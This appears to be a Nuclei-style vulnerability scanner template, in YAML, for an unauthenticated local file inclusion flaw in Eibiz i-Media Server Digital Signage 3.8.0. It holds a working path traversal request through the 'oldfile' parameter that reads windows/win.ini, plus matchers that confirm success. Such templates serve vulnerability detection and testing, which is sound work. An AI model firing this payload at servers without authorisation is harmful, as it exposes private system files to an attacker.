31 lines
1.0 KiB
YAML
31 lines
1.0 KiB
YAML
id: eibiz-lfi
|
|
|
|
info:
|
|
name: Eibiz i-Media Server Digital Signage 3.8.0 - Local File Inclusion
|
|
author: 0x_akoko
|
|
severity: high
|
|
description: Eibiz i-Media Server Digital Signage 3.8.0 is vulnerable to local file inclusion. An unauthenticated remote attacker can exploit this to view the contents of files located outside of the server's root directory. The issue can be triggered through the oldfile GET parameter.
|
|
reference:
|
|
- https://packetstormsecurity.com/files/158943/Eibiz-i-Media-Server-Digital-Signage-3.8.0-File-Path-Traversal.html
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 7.5
|
|
cwe-id: CWE-22
|
|
tags: windows,lfi,eibiz
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/dlibrary/null?oldfile=../../../../../../windows/win.ini&library=null"
|
|
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "bit app support"
|
|
- "fonts"
|
|
- "extensions"
|
|
condition: and
|
|
|
|
# Enhanced by mp on 2022/07/22
|